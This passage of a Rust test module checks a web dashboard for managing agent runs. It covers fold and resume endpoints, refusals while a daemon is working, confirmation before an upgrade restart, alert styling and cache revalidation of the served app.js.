let build = APP_JS
.find("function createRunCard")
.expect("createRunCard exists");
let update = APP_JS
.find("function updateRunCard")
.expect("updateRunCard exists");
let end = APP_JS
.find("function renderRuns")
.expect("renderRuns exists");
let builder = &APP_JS[build..update];
let open = builder.find("refs = {").expect("createRunCard sets refs");
let literal = &builder[open + "refs = {".len()..];
let close = literal.find('}').expect("the refs literal is closed");
let published: HashSet<&str> = literal[..close]
.split(',')
.filter_map(|entry| entry.split(':').next())
.map(str::trim)
.filter(|name| !name.is_empty())
.collect();
assert!(
published.len() > 5,
"the refs literal did not parse into names: {published:?}"
);
let mut used: Vec<&str> = Vec::new();
let updaters = &APP_JS[update..end];
for (at, _) in updaters.match_indices("r.") {
let before = updaters[..at].chars().next_back();
if before.is_some_and(|c| c.is_alphanumeric() || c == '_' || c == '$' || c == '.') {
continue;
}
let rest = &updaters[at + 2..];
let len = rest
.find(|c: char| !(c.is_alphanumeric() || c == '_' || c == '$'))
.unwrap_or(rest.len());
if len > 0 {
used.push(&rest[..len]);
}
}
assert!(
used.len() > 5,
"no `r.<name>` uses were found; the updaters must have been rewritten: {used:?}"
);
let missing: Vec<&str> = used
.iter()
.copied()
.filter(|name| !published.contains(name))
.collect();
assert!(
missing.is_empty(),
"a run card's updater reaches for {missing:?}, which `createRunCard` \
never put in `refs` - every card will throw and the list will \
render empty under a count line that says otherwise. Published: \
{published:?}"
);
}
#[tokio::test]
async fn folding_from_the_phone_reports_what_it_removed() {
let fx = Fixture::start().await;
let runs = fx.runs();
let id = "20260901-000000-fold";
write_run(&runs, id, RunStatus::Stalled);
let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
assert_eq!(res.status, 200);
assert_eq!(res.json()["removed_count"], 0);
assert_eq!(res.json()["run"], id);
assert!(
runs.join(id).exists(),
"a fold keeps the run's record; only the worktrees go"
);
}
#[tokio::test]
async fn folding_is_refused_while_a_daemon_is_working_on_the_run() {
let fx = Fixture::start().await;
let runs = fx.runs();
let id = "20260901-000000-live";
write_run(&runs, id, RunStatus::Implementing);
let mut beat = crate::daemon::Status::new();
beat.current = Some(crate::daemon::Current {
task: "20260901-000000-task".to_owned(),
run: id.to_owned(),
});
beat.updated_at = jiff::Timestamp::now();
crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
.expect("publish a heartbeat");
let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
assert_eq!(res.status, 409);
assert!(
res.json()["error"]
.as_str()
.unwrap()
.contains("live daemon"),
"folding under a running agent would pull its worktree away"
);
}
#[tokio::test]
async fn resume_is_refused_unless_the_run_stopped_somewhere_it_can_continue() {
let fx = Fixture::start().await;
let runs = fx.runs();
for (status, word) in [
(RunStatus::Merged, "merged"),
(RunStatus::Ready, "ready"),
(RunStatus::Failed, "failed"),
] {
let id = format!("20260901-000000-{}", &word[..4]);
write_run(&runs, &id, status);
let res = fx.post(&format!("/api/runs/{id}/resume"), None).await;
assert_eq!(res.status, 409, "{word} must not be resumable");
let err = res.json()["error"].as_str().unwrap().to_owned();
assert!(err.contains(word), "the refusal names the status: {err}");
}
let mid = "20260901-000000-midf";
write_run(&runs, mid, RunStatus::Reviewing);
let res = fx.post(&format!("/api/runs/{mid}/resume"), None).await;
assert_eq!(res.status, 202, "an interrupted run is resumable");
}
#[tokio::test]
async fn resume_is_refused_while_the_loop_is_running() {
let fx = Fixture::start().await;
let runs = fx.runs();
let stalled = "20260901-000000-stal";
write_run(&runs, stalled, RunStatus::Stalled);
let mut beat = crate::daemon::Status::new();
beat.current = Some(crate::daemon::Current {
task: "20260901-000000-task".to_owned(),
run: "20260901-000000-othr".to_owned(),
});
beat.updated_at = jiff::Timestamp::now();
crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
.expect("publish a heartbeat");
let res = fx.post(&format!("/api/runs/{stalled}/resume"), None).await;
assert_eq!(res.status, 409);
let err = res.json()["error"].as_str().unwrap().to_owned();
assert!(err.contains("othr"), "it names what the loop is on: {err}");
assert!(err.contains("one competition at a time"), "{err}");
}
#[test]
fn a_run_cannot_be_resumed_twice_at_once() {
let home = TempDir::new().expect("temp home");
let ui = Ui::new(
Queue::at(home.path().join("queue")),
Questions::at(home.path().join("questions")),
Chats::at(home.path().join("chats")),
home.path().join("runs"),
home.path().to_path_buf(),
PathBuf::from("/repo"),
);
let first = ui.begin_resume("20260901-000000-once").expect("claimed");
let again = ui.begin_resume("20260901-000000-once");
assert!(again.is_err(), "a second tap must not start a second graph");
drop(first);
assert!(
ui.begin_resume("20260901-000000-once").is_ok(),
"and the claim is released when the attempt ends"
);
}
#[test]
fn refreshing_a_conversation_never_navigates_to_it() {
let body = &APP_JS[APP_JS.find("async function loadChat(").expect("loadChat")
..APP_JS.find("async function startChat(").expect("startChat")];
assert!(
!body.contains("state.chatDetail = {"),
"loadChat must not decide which conversation is on screen: {body}"
);
assert!(
body.contains("if (state.chatDetail.id !== id) return;"),
"it returns instead of drawing a chat the operator is not reading"
);
assert!(
body.find("endTurn(id)") < body.find("if (state.chatDetail.id !== id) return;"),
"settle the turn before the on-screen check"
);
let router = &APP_JS[APP_JS.find("function applyRoute(").expect("applyRoute")..];
assert!(router.contains("state.chatDetail = { id: route.id, chat: null }"));
}
#[tokio::test]
async fn an_upgrade_is_refused_when_the_loop_belongs_to_another_process() {
let fx = Fixture::start().await;
let mut beat = crate::daemon::Status::new();
beat.pid = 4321;
beat.updated_at = jiff::Timestamp::now();
crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
.expect("publish a heartbeat");
let res = fx.post("/api/upgrade", None).await;
assert_eq!(res.status, 409);
let err = res.json()["error"].as_str().unwrap().to_owned();
assert!(err.contains("4321"), "the refusal names the owner: {err}");
assert!(err.contains("old one against the same queue"), "{err}");
}
#[tokio::test]
async fn an_upgrade_with_nothing_to_install_changes_nothing() {
let repo = TempDir::new().expect("repo dir");
std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
.expect("write magi.toml");
let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
let res = fx.post("/api/upgrade", None).await;
assert_eq!(res.status, 200, "not 202: nothing was set in motion");
let body = res.json();
assert!(body["to"].is_null(), "there was no release to move to");
assert!(body["parked"].is_null(), "and nothing was parked");
assert!(
body["detail"]
.as_str()
.unwrap()
.contains("nothing restarted"),
"{body:?}"
);
}
#[test]
fn the_upgrade_button_arms_before_it_restarts_anything() {
assert!(APP_JS.contains("upgrade: \"/api/upgrade\""));
assert!(APP_JS.contains("Replace the binary and restart?"));
assert!(APP_JS.contains("function confirmed("));
assert!(APP_JS.contains("show(upgradeBtn, !foreign)"));
assert!(
APP_JS.contains("Parking, then restarting"),
"the button says what it is waiting for"
);
assert!(APP_JS.contains("if (!out.to)"));
}
#[test]
fn an_error_is_visible_from_where_the_button_is() {
let alert = &APP_CSS[APP_CSS.find(".alert {").expect(".alert")
..APP_CSS.find(".alert-text").expect(".alert-text")];
assert!(
alert.contains("position: fixed"),
"an error about the thing under your thumb has to be visible from \
where your thumb is: {alert}"
);
assert!(
alert.contains("z-index: 25"),
"above the dock (20) and the run-actions FAB (15), so neither \
buries it: {alert}"
);
assert!(
alert.contains("var(--tap)"),
"and clear of the dock and the home indicator: {alert}"
);
assert!(
alert.contains("var(--s4) + var(--tap) + var(--s3)"),
"the FAB's column stays free: {alert}"
);
}
#[tokio::test]
async fn an_older_attempt_says_what_replaced_it() {
let fx = Fixture::start().await;
let q = fx.queue();
let runs = fx.runs();
let (first, second) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
write_run(&runs, first, RunStatus::Stalled);
write_run(&runs, second, RunStatus::Blocked);
let mut t = Task::new(
"one task".to_owned(),
"do it".to_owned(),
PathBuf::from("/repo"),
Source::Human,
);
t.runs = vec![first.to_owned(), second.to_owned()];
q.put(&mut t).expect("put");
let rows = fx.get("/api/runs").await.json();
let by = |short: &str| -> Value {
rows.as_array()
.unwrap()
.iter()
.find(|r| r["short"] == short)
.cloned()
.unwrap_or(Value::Null)
};
assert_eq!(by("aaaa")["superseded_by"], "bbbb");
assert!(
by("bbbb")["superseded_by"].is_null(),
"the latest attempt is not superseded by anything"
);
assert!(APP_JS.contains("run.superseded_by"));
assert!(APP_JS.contains("Superseded by"));
}
#[tokio::test]
async fn a_replaced_deck_is_not_served_from_a_phone_s_cache() {
let fx = Fixture::start().await;
let js = fx.get("/app.js").await;
assert_eq!(js.status, 200);
let tag = js
.header("etag")
.expect("an etag to revalidate against")
.to_owned();
assert!(tag.contains(env!("CARGO_PKG_VERSION")), "tag: {tag}");
assert_eq!(
js.header("cache-control"),
Some("no-cache, must-revalidate"),
"the phone has to ask every time"
);
let again = fx
.get_with("/app.js", &[("if-none-match", tag.as_str())])
.await;
assert_eq!(
again.status, 304,
"a deck it already has costs one round trip"
);
assert!(again.body.is_empty(), "304 carries no body");
let weak = fx
.get_with("/app.js", &[("if-none-match", &format!("W/{tag}"))])
.await;
assert_eq!(weak.status, 304);
let stale = fx
.get_with("/app.js", &[("if-none-match", "\"0.0.1-1\"")])
.await;
assert_eq!(stale.status, 200, "an older build must be replaced");
assert!(stale.body.contains("renderRunActions"));
}
#[test]
fn the_deck_never_sends_the_operator_to_a_terminal() {
assert!(
!APP_JS.contains("Run `magi fold` first"),
"the deck must offer the fold, not prescribe a shell command"
);
assert!(APP_JS.contains("foldRun:"));
assert!(APP_JS.contains("resumeRun:"));
assert!(APP_JS.contains("renderRunActions"));
assert!(APP_JS.contains("armedFold"));
assert!(APP_JS.contains("Yes, fold worktrees"));
assert!(APP_JS.contains("can no longer be resumed"));
}
#[test]
fn a_finished_run_explains_itself_with_its_own_last_line() {
assert!(
!APP_JS.contains("collapsed on agent quota"),
"a stall must not be explained by a cause the deck did not check"
);
assert!(
!APP_JS.contains("Review rounds ran out with findings still open, or the gate failed"),
"and a block must not offer a guess with an `or` in it"
);
assert!(
APP_JS.contains("setText(r.event, run.event || \"\")"),
"the run's last line is rendered unconditionally"
);
assert!(
!APP_JS.contains("moving && run.event"),
"and never gated on the run still moving"
);
assert!(APP_JS.contains("lost to quota"));
}
}